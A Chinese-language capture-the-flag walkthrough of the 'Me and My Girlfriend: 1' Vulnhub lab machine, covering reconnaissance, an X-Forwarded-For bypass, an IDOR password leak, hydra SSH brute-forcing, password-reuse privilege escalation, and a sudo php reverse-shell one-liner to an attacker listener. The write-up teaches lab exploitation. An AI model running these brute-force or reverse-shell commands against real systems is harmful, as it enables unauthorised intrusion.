MENU

Me and My Girlfriend: 1-Vulnhub Walkthrough

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

靶机地址

此靶机具有双flag,普通用户一个,root用户一个

工具及漏洞信息

  • netdiscover
  • nmap
  • gobuster
  • hydra
  • x-forwarded-for本地访问
  • 水平越权
  • mysql密码可能就是root密码

0x01信息收集

扫描靶机

netdiscover-r参数扫描192.168.1.0/16结果如下:

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.12

可以看到只开启了sshweb80端口

扫描路径

虽然大部分情况下不需要扫描路径,但是做工作做全套

gobuster扫描路径:

gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

看来是没啥了,只有robots.txt必须每次要看一下,得到文件路径heyhoo.txt

得到了不痛不痒的提示:

Great! What you need now is reconn, attack and got the shell。

访问首页如下:

提示只能从本地访问,ctf中的入门问题:x-forwarded-for需要改为127.0.0.1表示来自本地的访问

多种方法可用,抓包也行,插件更多:Header EditorX-Forwarded-For Header

我这里使用X-Forwarded-For Header:

0x02普通账户shell

进入首页:

尝试登录弱口令无效,那我们注册一个账号:

登录后链接变为;

http://192.168.1.12/index.php?page=dashboard&user_id=12

看到这个user_id=xxx就想把它改为1,用户名密码发生了改变:

通过firefox网页源代码查看功能,发现把密码隐藏框的属性typepassword改为其他任意的就可以查看密码:

存在水平越权,又能查看密码,那我们就把整个数据库的账户密码存下来

前面端口扫描的时候,记得除了80还有一个22ssh登录

使用hydra和我们爆破出的账户密码来爆破ssh服务:

hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
  • -t:4 每个目标并行连接的任务数,因为ssh很容易被测试崩
  • -I表示跳过烦人的等待时间

爆破成功,获得ssh的账号密码:alice/4lic3,登陆之

0x03提权root

登录后第一步查看当前目录:ls -al

.my_secret目录下获得第一个flag

我们在扫描网站路径时除了robots.txt好像还有点其他东西,于是进入网站根目录看一下:

cd /var/www/html

config目录里是一个配置文件,内容为mysql的链接:

尝试连接sql数据库查看信息:

指定配置文件中给出的数据库,查看内容:

只是网站上的用户的数据库,没什么可用的

正当我觉得没用的时候,突然想到万一这不仅仅是数据库的密码呢?

退出数据库,切换root用户:su root,输入数据库的密码:

进去了!WTF?

0x04换种方法提权root

不行啊,这也太没技术含量了,这不就是查看目录的操作吗?

下面我们再换一种没有技术含量的方法::quyin:1huaji::

现在kali上监听nc -lvp 3333

靶机上php反弹shell:

sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

参考文章:

本文完。